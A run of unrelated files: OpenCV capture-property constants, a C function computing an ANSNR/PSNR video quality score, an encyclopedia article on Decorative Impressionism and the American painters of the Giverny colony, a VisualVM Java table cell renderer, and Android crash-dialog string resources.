CAP_PROP_FRAME_COUNT = 7,
CAP_PROP_FORMAT = 8,
CAP_PROP_MODE = 9,
CAP_PROP_BRIGHTNESS = 10,
CAP_PROP_CONTRAST = 11,
CAP_PROP_SATURATION = 12,
CAP_PROP_HUE = 13,
CAP_PROP_GAIN = 14,
CAP_PROP_EXPOSURE = 15,
CAP_PROP_CONVERT_RGB = 16,
CAP_PROP_WHITE_BALANCE_BLUE_U = 17,
CAP_PROP_RECTIFICATION = 18,
CAP_PROP_MONOCHROME = 19,
CAP_PROP_SHARPNESS = 20,
CAP_PROP_AUTO_EXPOSURE = 21,
CAP_PROP_GAMMA = 22,
CAP_PROP_TEMPERATURE = 23,
CAP_PROP_TRIGGER = 24,
CAP_PROP_TRIGGER_DELAY = 25,
CAP_PROP_WHITE_BALANCE_RED_V = 26,
CAP_PROP_ZOOM = 27,
CAP_PROP_FOCUS = 28,
CAP_PROP_GUID = 29,
CAP_PROP_ISO_SPEED = 30,
CAP_PROP_BACKLIGHT = 32,
CAP_PROP_PAN = 33,
CAP_PROP_TILT = 34,
CAP_PROP_ROLL = 35,
CAP_PROP_IRIS = 36,
CAP_PROP_SETTINGS = 37,
CAP_PROP_BUFFERSIZE = 38,
CAP_PROP_AUTOFOCUS = 39,
CAP_MODE_BGR = 0,
CAP_MODE_RGB = 1,
CAP_MODE_GRAY = 2,
CAP_MODE_YUYV = 3,
VIDEOWRITER_PROP_QUALITY = 1,
VIDEOWRITER_PROP_FRAMEBYTES = 2,
VIDEOWRITER_PROP_NSTRIPES = 3,
CAP_PROP_DC1394_OFF = -4,
CAP_PROP_DC1394_MODE_MANUAL = -3,
CAP_PROP_DC1394_MODE_AUTO = -2,
CAP_PROP_DC1394_MODE_ONE_PUSH_AUTO = -1,
CAP_PROP_DC1394_MAX = 31,
CAP_OPENNI_DEPTH_GENERATOR = 1 << 31,
CAP_OPENNI_IMAGE_GENERATOR = 1 << 30,
CAP_OPENNI_IR_GENERATOR = 1 << 29,
CAP_OPENNI_GENERATORS_MASK = CAP_OPENNI_DEPTH_GENERATOR + CAP_OPENNI_IMAGE_GENERATOR + CAP_OPENNI_IR_GENERATOR,
CAP_PROP_OPENNI_OUTPUT_MODE = 100,
CAP_PROP_OPENNI_FRAME_MAX_DEPTH = 101,
CAP_PROP_OPENNI_BASELINE = 102,
CAP_PROP_OPENNI_FOCAL_LENGTH = 103,
CAP_PROP_OPENNI_REGISTRATION = 104,
CAP_PROP_OPENNI_REGISTRATION_ON = CAP_PROP_OPENNI_REGISTRATION,
CAP_PROP_OPENNI_APPROX_FRAME_SYNC = 105,
CAP_PROP_OPENNI_MAX_BUFFER_SIZE = 106,
CAP_PROP_OPENNI_CIRCLE_BUFFER = 107,
CAP_PROP_OPENNI_MAX_TIME_DURATION = 108,
CAP_PROP_OPENNI_GENERATOR_PRESENT = 109,
CAP_PROP_OPENNI2_SYNC = 110,
CAP_PROP_OPENNI2_MIRROR = 111,
CAP_OPENNI_IMAGE_GENERATOR_PRESENT = CAP_OPENNI_IMAGE_GENERATOR + CAP_PROP_OPENNI_GENERATOR_PRESENT,
CAP_OPENNI_IMAGE_GENERATOR_OUTPUT_MODE = CAP_OPENNI_IMAGE_GENERATOR + CAP_PROP_OPENNI_OUTPUT_MODE,
CAP_OPENNI_DEPTH_GENERATOR_PRESENT = CAP_OPENNI_DEPTH_GENERATOR + CAP_PROP_OPENNI_GENERATOR_PRESENT,
CAP_OPENNI_DEPTH_GENERATOR_BASELINE = CAP_OPENNI_DEPTH_GENERATOR + CAP_PROP_OPENNI_BASELINE,
CAP_OPENNI_DEPTH_GENERATOR_FOCAL_LENGTH = CAP_OPENNI_DEPTH_GENERATOR + CAP_PROP_OPENNI_FOCAL_LENGTH,
CAP_OPENNI_DEPTH_GENERATOR_REGISTRATION = CAP_OPENNI_DEPTH_GENERATOR + CAP_PROP_OPENNI_REGISTRATION,
CAP_OPENNI_DEPTH_GENERATOR_REGISTRATION_ON = CAP_OPENNI_DEPTH_GENERATOR_REGISTRATION,
CAP_OPENNI_IR_GENERATOR_PRESENT = CAP_OPENNI_IR_GENERATOR + CAP_PROP_OPENNI_GENERATOR_PRESENT,
CAP_OPENNI_DEPTH_MAP = 0,
CAP_OPENNI_POINT_CLOUD_MAP = 1,
CAP_OPENNI_DISPARITY_MAP = 2,
CAP_OPENNI_DISPARITY_MAP_32F = 3,
CAP_OPENNI_VALID_DEPTH_MASK = 4,
CAP_OPENNI_BGR_IMAGE = 5,
CAP_OPENNI_GRAY_IMAGE = 6,
CAP_OPENNI_IR_IMAGE = 7,
CAP_OPENNI_VGA_30HZ = 0,
CAP_OPENNI_SXGA_15HZ = 1,
CAP_OPENNI_SXGA_30HZ = 2,
CAP_OPENNI_QVGA_30HZ = 3,
CAP_OPENNI_QVGA_60HZ = 4,
CAP_PROP_GSTREAMER_QUEUE_LENGTH = 200,
CAP_PROP_PVAPI_MULTICASTIP = 300,
CAP_PROP_PVAPI_FRAMESTARTTRIGGERMODE = 301,
CAP_PROP_PVAPI_DECIMATIONHORIZONTAL = 302,
CAP_PROP_PVAPI_DECIMATIONVERTICAL = 303,
CAP_PROP_PVAPI_BINNINGX = 304,
CAP_PROP_PVAPI_BINNINGY = 305,
CAP_PROP_PVAPI_PIXELFORMAT = 306,
CAP_PVAPI_FSTRIGMODE_FREERUN = 0,
CAP_PVAPI_FSTRIGMODE_SYNCIN1 = 1,
CAP_PVAPI_FSTRIGMODE_SYNCIN2 = 2,
CAP_PVAPI_FSTRIGMODE_FIXEDRATE = 3,
CAP_PVAPI_FSTRIGMODE_SOFTWARE = 4,
CAP_PVAPI_DECIMATION_OFF = 1,
CAP_PVAPI_DECIMATION_2OUTOF4 = 2,
CAP_PVAPI_DECIMATION_2OUTOF8 = 4,
CAP_PVAPI_DECIMATION_2OUTOF16 = 8,
CAP_PVAPI_PIXELFORMAT_MONO8 = 1,
CAP_PVAPI_PIXELFORMAT_MONO16 = 2,
CAP_PVAPI_PIXELFORMAT_BAYER8 = 3,
CAP_PVAPI_PIXELFORMAT_BAYER16 = 4,
CAP_PVAPI_PIXELFORMAT_RGB24 = 5,
CAP_PVAPI_PIXELFORMAT_BGR24 = 6,
CAP_PVAPI_PIXELFORMAT_RGBA32 = 7,
CAP_PVAPI_PIXELFORMAT_BGRA32 = 8,
CAP_PROP_XI_DOWNSAMPLING = 400,
CAP_PROP_XI_DATA_FORMAT = 401,
CAP_PROP_XI_OFFSET_X = 402,
CAP_PROP_XI_OFFSET_Y = 403,
CAP_PROP_XI_TRG_SOURCE = 404,
CAP_PROP_XI_TRG_SOFTWARE = 405,
CAP_PROP_XI_GPI_SELECTOR = 406,
CAP_PROP_XI_GPI_MODE = 407,
CAP_PROP_XI_GPI_LEVEL = 408,
CAP_PROP_XI_GPO_SELECTOR = 409,
CAP_PROP_XI_GPO_MODE = 410,
CAP_PROP_XI_LED_SELECTOR = 411,
CAP_PROP_XI_LED_MODE = 412,
CAP_PROP_XI_MANUAL_WB = 413,
CAP_PROP_XI_AUTO_WB = 414,
CAP_PROP_XI_AEAG = 415,
CAP_PROP_XI_EXP_PRIORITY = 416,
CAP_PROP_XI_AE_MAX_LIMIT = 417,
CAP_PROP_XI_AG_MAX_LIMIT = 418,
CAP_PROP_XI_AEAG_LEVEL = 419,
CAP_PROP_XI_TIMEOUT = 420,
CAP_PROP_XI_EXPOSURE = 421,
CAP_PROP_XI_EXPOSURE_BURST_COUNT = 422,
CAP_PROP_XI_GAIN_SELECTOR = 423,
CAP_PROP_XI_GAIN = 424,
CAP_PROP_XI_DOWNSAMPLING_TYPE = 426,
CAP_PROP_XI_BINNING_SELECTOR = 427,
CAP_PROP_XI_BINNING_VERTICAL = 428,
CAP_PROP_XI_BINNING_HORIZONTAL = 429,
CAP_PROP_XI_BINNING_PATTERN = 430,
CAP_PROP_XI_DECIMATION_SELECTOR = 431,
CAP_PROP_XI_DECIMATION_VERTICAL = 432,
CAP_PROP_XI_DECIMATION_HORIZONTAL = 433,
CAP_PROP_XI_DECIMATION_PATTERN = 434,
CAP_PROP_XI_TEST_PATTERN_GENERATOR_SELECTOR = 587,
CAP_PROP_XI_TEST_PATTERN = 588,
CAP_PROP_XI_IMAGE_DATA_FORMAT = 435,
CAP_PROP_XI_SHUTTER_TYPE = 436,
CAP_PROP_XI_SENSOR_TAPS = 437,
CAP_PROP_XI_AEAG_ROI_OFFSET_X = 439,
CAP_PROP_XI_AEAG_ROI_OFFSET_Y = 440,
CAP_PROP_XI_AEAG_ROI_WIDTH = 441,
CAP_PROP_XI_AEAG_ROI_HEIGHT = 442,
CAP_PROP_XI_BPC = 445,
CAP_PROP_XI_WB_KR = 448,
CAP_PROP_XI_WB_KG = 449,
CAP_PROP_XI_WB_KB = 450,
CAP_PROP_XI_WIDTH = 451,
CAP_PROP_XI_HEIGHT = 452,
CAP_PROP_XI_REGION_SELECTOR = 589,
CAP_PROP_XI_REGION_MODE = 595,
CAP_PROP_XI_LIMIT_BANDWIDTH = 459,
CAP_PROP_XI_SENSOR_DATA_BIT_DEPTH = 460,
CAP_PROP_XI_OUTPUT_DATA_BIT_DEPTH = 461,
CAP_PROP_XI_IMAGE_DATA_BIT_DEPTH = 462,
CAP_PROP_XI_OUTPUT_DATA_PACKING = 463,
CAP_PROP_XI_OUTPUT_DATA_PACKING_TYPE = 464,
CAP_PROP_XI_IS_COOLED = 465,
CAP_PROP_XI_COOLING = 466,
CAP_PROP_XI_TARGET_TEMP = 467,
CAP_PROP_XI_CHIP_TEMP = 468,
CAP_PROP_XI_HOUS_TEMP = 469,
CAP_PROP_XI_HOUS_BACK_SIDE_TEMP = 590,
CAP_PROP_XI_SENSOR_BOARD_TEMP = 596,
CAP_PROP_XI_CMS = 470,
CAP_PROP_XI_APPLY_CMS = 471,
CAP_PROP_XI_IMAGE_IS_COLOR = 474,
CAP_PROP_XI_COLOR_FILTER_ARRAY = 475,
CAP_PROP_XI_GAMMAY = 476,
CAP_PROP_XI_GAMMAC = 477,
CAP_PROP_XI_SHARPNESS = 478,
CAP_PROP_XI_CC_MATRIX_00 = 479,
CAP_PROP_XI_CC_MATRIX_01 = 480,
CAP_PROP_XI_CC_MATRIX_02 = 481,
CAP_PROP_XI_CC_MATRIX_03 = 482,
CAP_PROP_XI_CC_MATRIX_10 = 483,
CAP_PROP_XI_CC_MATRIX_11 = 484,
CAP_PROP_XI_CC_MATRIX_12 = 485,
CAP_PROP_XI_CC_MATRIX_13 = 486,
CAP_PROP_XI_CC_MATRIX_20 = 487,
CAP_PROP_XI_CC_MATRIX_21 = 488,
CAP_PROP_XI_CC_MATRIX_22 = 489,
CAP_PROP_XI_CC_MATRIX_23 = 490,
CAP_PROP_XI_CC_MATRIX_30 = 491,
CAP_PROP_XI_CC_MATRIX_31 = 492,
CAP_PROP_XI_CC_MATRIX_32 = 493,
CAP_PROP_XI_CC_MATRIX_33 = 494,
CAP_PROP_XI_DEFAULT_CC_MATRIX = 495,
CAP_PROP_XI_TRG_SELECTOR = 498,
CAP_PROP_XI_ACQ_FRAME_BURST_COUNT = 499,
CAP_PROP_XI_DEBOUNCE_EN = 507,
CAP_PROP_XI_DEBOUNCE_T0 = 508,
CAP_PROP_XI_DEBOUNCE_T1 = 509,
CAP_PROP_XI_DEBOUNCE_POL = 510,
CAP_PROP_XI_LENS_MODE = 511,
CAP_PROP_XI_LENS_APERTURE_VALUE = 512,
CAP_PROP_XI_LENS_FOCUS_MOVEMENT_VALUE = 513,
CAP_PROP_XI_LENS_FOCUS_MOVE = 514,
CAP_PROP_XI_LENS_FOCUS_DISTANCE = 515,
CAP_PROP_XI_LENS_FOCAL_LENGTH = 516,
CAP_PROP_XI_LENS_FEATURE_SELECTOR = 517,
CAP_PROP_XI_LENS_FEATURE = 518,
CAP_PROP_XI_DEVICE_MODEL_ID = 521,
CAP_PROP_XI_DEVICE_SN = 522,
CAP_PROP_XI_IMAGE_DATA_FORMAT_RGB32_ALPHA = 529,
CAP_PROP_XI_IMAGE_PAYLOAD_SIZE = 530,
CAP_PROP_XI_TRANSPORT_PIXEL_FORMAT = 531,
CAP_PROP_XI_SENSOR_CLOCK_FREQ_HZ = 532,
CAP_PROP_XI_SENSOR_CLOCK_FREQ_INDEX = 533,
CAP_PROP_XI_SENSOR_OUTPUT_CHANNEL_COUNT = 534,
CAP_PROP_XI_FRAMERATE = 535,
CAP_PROP_XI_COUNTER_SELECTOR = 536,
CAP_PROP_XI_COUNTER_VALUE = 537,
CAP_PROP_XI_ACQ_TIMING_MODE = 538,
CAP_PROP_XI_AVAILABLE_BANDWIDTH = 539,
CAP_PROP_XI_BUFFER_POLICY = 540,
CAP_PROP_XI_LUT_EN = 541,
CAP_PROP_XI_LUT_INDEX = 542,
CAP_PROP_XI_LUT_VALUE = 543,
CAP_PROP_XI_TRG_DELAY = 544,
CAP_PROP_XI_TS_RST_MODE = 545,
CAP_PROP_XI_TS_RST_SOURCE = 546,
CAP_PROP_XI_IS_DEVICE_EXIST = 547,
CAP_PROP_XI_ACQ_BUFFER_SIZE = 548,
CAP_PROP_XI_ACQ_BUFFER_SIZE_UNIT = 549,
CAP_PROP_XI_ACQ_TRANSPORT_BUFFER_SIZE = 550,
CAP_PROP_XI_BUFFERS_QUEUE_SIZE = 551,
CAP_PROP_XI_ACQ_TRANSPORT_BUFFER_COMMIT = 552,
CAP_PROP_XI_RECENT_FRAME = 553,
CAP_PROP_XI_DEVICE_RESET = 554,
CAP_PROP_XI_COLUMN_FPN_CORRECTION = 555,
CAP_PROP_XI_ROW_FPN_CORRECTION = 591,
CAP_PROP_XI_SENSOR_MODE = 558,
CAP_PROP_XI_HDR = 559,
CAP_PROP_XI_HDR_KNEEPOINT_COUNT = 560,
CAP_PROP_XI_HDR_T1 = 561,
CAP_PROP_XI_HDR_T2 = 562,
CAP_PROP_XI_KNEEPOINT1 = 563,
CAP_PROP_XI_KNEEPOINT2 = 564,
CAP_PROP_XI_IMAGE_BLACK_LEVEL = 565,
CAP_PROP_XI_HW_REVISION = 571,
CAP_PROP_XI_DEBUG_LEVEL = 572,
CAP_PROP_XI_AUTO_BANDWIDTH_CALCULATION = 573,
CAP_PROP_XI_FFS_FILE_ID = 594,
CAP_PROP_XI_FFS_FILE_SIZE = 580,
CAP_PROP_XI_FREE_FFS_SIZE = 581,
CAP_PROP_XI_USED_FFS_SIZE = 582,
CAP_PROP_XI_FFS_ACCESS_KEY = 583,
CAP_PROP_XI_SENSOR_FEATURE_SELECTOR = 585,
CAP_PROP_XI_SENSOR_FEATURE_VALUE = 586,
CAP_PROP_IOS_DEVICE_FOCUS = 9001,
CAP_PROP_IOS_DEVICE_EXPOSURE = 9002,
CAP_PROP_IOS_DEVICE_FLASH = 9003,
CAP_PROP_IOS_DEVICE_WHITEBALANCE = 9004,
CAP_PROP_IOS_DEVICE_TORCH = 9005,
CAP_PROP_GIGA_FRAME_OFFSET_X = 10001,
CAP_PROP_GIGA_FRAME_OFFSET_Y = 10002,
CAP_PROP_GIGA_FRAME_WIDTH_MAX = 10003,
CAP_PROP_GIGA_FRAME_HEIGH_MAX = 10004,
CAP_PROP_GIGA_FRAME_SENS_WIDTH = 10005,
CAP_PROP_GIGA_FRAME_SENS_HEIGH = 10006,
CAP_PROP_INTELPERC_PROFILE_COUNT = 11001,
CAP_PROP_INTELPERC_PROFILE_IDX = 11002,
CAP_PROP_INTELPERC_DEPTH_LOW_CONFIDENCE_VALUE = 11003,
CAP_PROP_INTELPERC_DEPTH_SATURATION_VALUE = 11004,
CAP_PROP_INTELPERC_DEPTH_CONFIDENCE_THRESHOLD = 11005,
CAP_PROP_INTELPERC_DEPTH_FOCAL_LENGTH_HORZ = 11006,
CAP_PROP_INTELPERC_DEPTH_FOCAL_LENGTH_VERT = 11007,
CAP_INTELPERC_DEPTH_GENERATOR = 1 << 29,
CAP_INTELPERC_IMAGE_GENERATOR = 1 << 28,
CAP_INTELPERC_GENERATORS_MASK = CAP_INTELPERC_DEPTH_GENERATOR + CAP_INTELPERC_IMAGE_GENERATOR,
CAP_INTELPERC_DEPTH_MAP = 0,
CAP_INTELPERC_UVDEPTH_MAP = 1,
CAP_INTELPERC_IR_MAP = 2,
CAP_INTELPERC_IMAGE = 3,
CAP_PROP_GPHOTO2_PREVIEW = 17001,
CAP_PROP_GPHOTO2_WIDGET_ENUMERATE = 17002,
CAP_PROP_GPHOTO2_RELOAD_CONFIG = 17003,
CAP_PROP_GPHOTO2_RELOAD_ON_CHANGE = 17004,
CAP_PROP_GPHOTO2_COLLECT_MSGS = 17005,
CAP_PROP_GPHOTO2_FLUSH_MSGS = 17006,
CAP_PROP_SPEED = 17007,
CAP_PROP_APERTURE = 17008,
CAP_PROP_EXPOSUREPROGRAM = 17009,
CAP_PROP_VIEWFINDER = 17010,
CAP_PROP_IMAGES_BASE = 18000,
CAP_PROP_IMAGES_LAST = 19000;
}
```
|
```c
/**
*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
*/
#include <limits.h>
#include <math.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "mem.h"
#include "psnr_tools.h"
#include "ansnr_options.h"
#include "ansnr_tools.h"
#include "offset.h"
#define MAX(x, y) (((x) > (y)) ? (x) : (y))
#define MIN(x, y) (((x) < (y)) ? (x) : (y))
#define ansnr_filter1d_ref ansnr_filter1d_ref_s
#define ansnr_filter1d_dis ansnr_filter1d_dis_s
#define ansnr_filter2d_ref ansnr_filter2d_ref_s
#define ansnr_filter2d_dis ansnr_filter2d_dis_s
#define ansnr_filter1d ansnr_filter1d_s
#define ansnr_filter2d ansnr_filter2d_s
#define ansnr_mse ansnr_mse_s
#define offset_image offset_image_s
int compute_ansnr(const float *ref, const float *dis, int w, int h, int ref_stride, int dis_stride, double *score, double *score_psnr, double peak, double psnr_max)
{
float *data_buf = 0;
char *data_top;
float *ref_filtr;
float *filtd;
float sig, noise;
#ifdef ANSNR_OPT_NORMALIZE
float noise_min;
#endif
int buf_stride = ALIGN_CEIL(w * sizeof(float));
size_t buf_sz_one = (size_t)buf_stride * h;
int ret = 1;
if (SIZE_MAX / buf_sz_one < 2)
{
goto fail;
}
if (!(data_buf = aligned_malloc(buf_sz_one * 2, MAX_ALIGN)))
{
goto fail;
}
data_top = (char *)data_buf;
ref_filtr = (float *)data_top; data_top += buf_sz_one;
filtd = (float *)data_top;
#ifdef ANSNR_OPT_FILTER_1D
ansnr_filter1d(ansnr_filter1d_ref, ref, ref_filtr, w, h, ref_stride, buf_stride, ansnr_filter1d_ref_width);
ansnr_filter1d(ansnr_filter1d_dis, dis, filtd, w, h, dis_stride, buf_stride, ansnr_filter1d_dis_width);
#else
ansnr_filter2d(ansnr_filter2d_ref, ref, ref_filtr, w, h, ref_stride, buf_stride, ansnr_filter2d_ref_width);
ansnr_filter2d(ansnr_filter2d_dis, dis, filtd, w, h, dis_stride, buf_stride, ansnr_filter2d_dis_width);
#endif
#ifdef ANSNR_OPT_DEBUG_DUMP
write_image("stage/ref_filtr.bin", ref_filtr, w, h, buf_stride, sizeof(float));
write_image("stage/dis_filtd.bin", filtd, w, h, buf_stride, sizeof(float));
#endif
ansnr_mse(ref_filtr, filtd, &sig, &noise, w, h, buf_stride, buf_stride);
#ifdef ANSNR_OPT_NORMALIZE
# ifdef ANSNR_OPT_FILTER_1D
ansnr_filter1d(ansnr_filter1d_dis, ref, filtd, w, h, ref_stride, buf_stride, ansnr_filter1d_dis_width);
# else
ansnr_filter2d(ansnr_filter2d_dis, ref, filtd, w, h, ref_stride, buf_stride, ansnr_filter2d_dis_width);
# endif
# ifdef ANSNR_OPT_DEBUG_DUMP
write_image("stage/ref_filtd.bin", filtd, w, h, buf_stride, sizeof(float));
# endif
ansnr_mse(ref_filtr, filtd, 0, &noise_min, w, h, buf_stride, buf_stride);
*score = 10.0 * log10(noise / (noise - noise_min));
#else
*score = noise==0 ? psnr_max : 10.0 * log10(sig / noise);
#endif
double eps = 1e-10;
*score_psnr = MIN(10 * log10(peak * peak * w * h / MAX(noise, eps)), psnr_max);
ret = 0;
fail:
aligned_free(data_buf);
return ret;
}
```
|
Decorative Impressionism is an art historical term that is credited to the art writer Christian Brinton, who first used it in 1911. Brinton titled an article on the American expatriate painter Frederick Carl Frieseke, one of the members of the famous Giverny Colony of American Impressionists, "The Decorative Impressionist."
However, use of the term has been revived in recent decades by the influential and prolific art historian William H. Gerdts to describe the figurative works of not only Frieseke, but some of his Giverny compatriots including Richard E. Miller, Louis Ritman and Robert Reid. The same term has been applied to other Giverny school painters who painted the figure including Guy Rose, Karl Anderson and Karl Albert Buehr. Decorative Impressionism describes a way of painting the human figure that attempts to reconcile academic techniques with Impressionist and Post-Impressionist influences.
The works of these artists tend to be either high-key outdoor depictions of women in languid poses, or interior scenes with the figures illuminated by natural light from windows. Many of these highly decorative paintings have a recognizable influence from Japanese art or Japonisme, with the strong use of patterns in the backgrounds. The work of the originators of first Decorative Impressionists was popular from about 1905 until the mid-1920s, but the style continued until at least the middle of the 20th century through the work of some of the students of the Giverny painters and, the style has been revived in recent years by some contemporary figurative painters.
Giverny
While American artists had been painting in the small village of Giverny since the 1880s, the group of painters who developed the characteristic style known as Decorative Impressionism settled in Normandy after the turn of the 20th century. They came to a similar way of working because their academic training was similar; they were aware and interested in the developments of French Impressionism and Post-Impressionism; and wanted to adopt some elements from these movements into their own work. Each of them had their own way of working, their own degree of solidity on their figures and their own style of brushwork, but they were all joined together by the beauty of their subjects and their decorative approach.
Frederick Frieseke was a Michigan born and Chicago-trained artist who had studied in Paris. The American expatriate settled in Giverny in 1906 where he painted female figures in outdoor settings, often using a pastel palette. Influenced by Renoir, Frieseke's canvasses were carefully designed and he often juxtaposed one pattern against another. Richard Edward Miller was raised and trained in St. Louis, Missouri and he studied in France at the Académie Julian briefly before his first large figurative works paintings were accepted in the Paris Salon. His early works featured well-drawn figures with more loosely rendered backgrounds, but after he settled in Giverny, his work became brighter and he developed a style where his figures were well modeled, but the backgrounds were often patterns of small brush strokes.
The California-born artist Guy Rose studied in San Francisco and Paris, coming first under the influence of the Naturalist School and then French Impressionism. He is often described as the most French of the California Impressionists and he visited Giverny before finally settling their with his wife Ethel in 1904. Rose was both a landscape and figurative painter and in Giverny, he painted female figures in outdoor light, keeping the draftsmanship he learned in Paris for the figures and using a more Impressionist style for the setting.
Lawton S. Parker was an artist and teacher who traveled frequently between the United States and Europe and he settled in Giverny in 1903. Even though Parker shared a Giverny garden with Frieseke, he is not credited with painting figures in garden settings extensively until about 1909. Then, he painted the same sorts of subjects as his Giverny companions. Edmund Greacen was a New Yorker and he arrived in Giverny in 1907 where he painted a series of garden and domestic subjects in a painterly manner, with a clear French influence. The Chicago-trained painter Karl Anderson was only in Giverny a short time, but it changed the direction of his career and he will always be identified with the French village because he adopted the same subjects and a similar way of working.
In December 1910, six of the Giverny painters - Frieseke, Miller, Parker, Rose, Graecen and Anderson were given a show at the Madison Gallery in New York which termed them "The Giverny Group" and one of the reviews called them "Impressionists of the very best sort." The German-born Chicago painter Karl Albert Buehr came to Giverny about 1909 and spent summers there until 1912. In Giverny, he turned to painting women in outdoor light, leaving behind the darker tonalities and landscape subjects of his earlier work. Buehr too became associated with Giverny and with French Impressionism and he passed his confidence in the Impressionist palette to his many students.
A younger artist, Louis Ritman, was Russian born and Chicago-trained and he came to Giverny in 1911 and spent the next eighteen summers there, even during World War I, when most of the Americans had left for home. Ritman was highly influenced by Frieseke and he painted women in interior and outdoor settings, usually approaching the figure with some delicacy and handing the background in a manner reminiscent of French Impressionism.
Another American painter whose work clearly falls under the description of "Decorative Impressionism" is Robert Reid. Although Reid was not part of the Giverny Colony, he was Paris-trained and at the same time it was active, he was working out his own solution of how to reconcile his academic training with a decorative aspect. His solution was different from the Giverny painters. He used boldly decorative compositions, full of cool tones, that had a distinct organic influence that made them reminiscent of Art Nouveau.
A second generation
Because several members of the Giverny Colony were teachers and mentors to a number of other American painters, their style of painting lived on through the works of their students. Two of these artists, the Chicago trained painters Theodore Lukits and Christian von Schneidau both ended up in California, where American Impressionism remained popular for a longer time than anywhere else. Both Lukits and Von Schneidau were students of the Giverny Impressionist Karl Albert Buehr, at the School of the Art Institute of Chicago where they both excelled and won traveling scholarships. Both were also students of Richard E. Miller. Lukits studied with Miller in St. Louis, when he was a young prodigy and von Schenidau studied with him in the art colony of Provincetown, Massachusetts, where Miller lived until his death.
Lukits was already doing large, decorative works with well modeled figures and highly patterned backgrounds in Chicago in 1918 and 1919 and he continued the practice in California, with many works of Asian subjects like the silent film actor Sōjin Kamiyama and portraits like "Mrs. Ray Milland" (1942). Theodore Lukits used the term "Decorative Portraits" himself in describing such works, so the alignment with Brinton's original thesis is clear. Like Miller's work, the artist painted the figure quite realistically, but created the background with more decorative elements. Von Schneidau did several large, very decorative portraits that were exhibited widely in the 1920s and reproduced including "5'O'clock (Mrs. Elwood Riggs)" and "Mary Pickford (Reading the Sundial).
See also
Impressionism
American Impressionism
California Plein-Air Painting
References
Kane, Mary Louise, A Bright Oasis: The Paintings of Richard Miller, New York: Jordan Volpe Gallery, 1997
Ball, Robert and Max W. Gottschalk, Richard E, Miller N.A.: An Impression and Appreciation, St. Louis, Missouri, Llongmore Fund, 1968
Morseburg, Jeffrey, Decorative Impressionism: From Giverny to Hollywood, Essay, 2010
Morseburg, Jeffrey, Theodore Lukits, An American Orientalist, Exhibition Catalog, Pacific Asia Museum, 1998 (Essays on Lukits and his Asian Subjects)
Morseburg, Jeffrey, Richard E. Miller, Fond Impressions, Los Angeles, California (Biographical Essay)
Stern, Jean & Morseburg, Jeffrey, California Art Club: 90th Annual Gold Medal Exhibition, California Art Club, 2000, Exhibition Catalog, California Art Club, Pasadena, California, 2000
Seares, Mabel Urmy, "Richard Miller in Pasadena" Los Angeles Graphic, September 9, 1916, p. 4
Seares, Mabel Urmy, "Richard Miller in a California Garden, California Southland, vol. 38, February, 1923, pp. 10–11
Cape Cod Mourns Richard E. Miller (obituary) Provincetown Advocate, January 28, 1943, front page
Falk, Peter Hastings, The Annual Exhibition Record of the Art Institute of Chicago, 1990
Hughes, Edan Milton, Artists in California, 1786–1940, 1989
Stern, Jean; Fleischer, Morton; Dominik, Janet, Masterworks of California Impressionism, 1986
Dominik, Janet, Christian Von Schneidau, Petersen Publishing Company, 1986
Opitz, Glenn, 'American Painters, Sculptors & Engravers,' Mantle Fielding's Dictionary, 1986
Falk, Peter Hastings, Who was Who in American Art: Artists Active Between 1898-1947, 1985
Moure, Nancy Dustin Wall, Southern California Art, 1984
Westphal, Ruth Lilly, Plein Air Painters of California: The Southland, 1982
Opitz, Glenn, Dictionary of American Artists, 1982
Mallett, Daniel Trowbridge, Index of Artists: International Biographical, 1935
External links
California Art Club Home to Several Giverny Impressionists
Village of Giverny Web Site Monet's Village of Giverny
Giverny Impressionism Web Site
Musee American in Giverny
Collection Assembled by Industrialist Daniel Terra
Art in California
American art
American art movements
|
```java
/*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package org.graalvm.visualvm.lib.ui.components.table;
import java.awt.*;
/** Custom Table cell renderer that paints a bar based on numerical value within min/max bounds.
*
* @author Jiri Sedlacek
*/
public class DiffBarCellRenderer extends CustomBarCellRenderer {
//~ Static fields/initializers your_sha256_hash-------------------------------
public static final Color BAR_FOREGROUND2_COLOR = new Color(41, 195, 41);
//~ Constructors your_sha256_hash---------------------------------------------
public DiffBarCellRenderer(long min, long max) {
super(min, max);
}
//~ Methods your_sha256_hash--------------------------------------------------
public void paintComponent(Graphics g) {
g.setColor(getBackground());
g.fillRect(0, 0, getWidth(), getHeight());
Insets insets = getInsets();
int clientWidth = getWidth() - insets.right - insets.left;
int horizCenter = insets.left + (clientWidth / 2);
int barExtent = (int) Math.ceil((Math.abs(relValue) * ((double) clientWidth)) / 2d);
if (relValue > 0) {
g.setColor(BAR_FOREGROUND_COLOR);
g.fillRect(horizCenter, insets.top, barExtent, getHeight() - insets.bottom - insets.top);
} else if (relValue < 0) {
g.setColor(BAR_FOREGROUND2_COLOR);
g.fillRect(horizCenter - barExtent, insets.top, barExtent, getHeight() - insets.bottom - insets.top);
}
}
protected double calculateViewValue(long n) {
long absMax = Math.max(Math.abs(min), max);
return (double) (n) / (double) (absMax);
}
protected double calculateViewValue(double n) {
long absMax = Math.max(Math.abs(min), max);
return (double) (n) / (double) (absMax);
}
}
```
|
```xml
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="crash_error_occurred_explanation">An unexpected error occurred.\nSorry for the inconvenience.</string>
<string name="crash_error_restart_app">Restart app</string>
<string name="crash_error_close_app">Close app</string>
<string name="crash_error_details">Error details</string>
<string name="crash_error_details_title">Error details</string>
<string name="crash_error_details_close">Close</string>
<string name="crash_error_details_copy">Copy to clipboard</string>
<string name="crash_error_details_copied">Copied to clipboard</string>
<string name="crash_error_details_clipboard_label">Error information</string>
<string name="crash_error_file">Save the error log path.</string>
</resources>
```
|
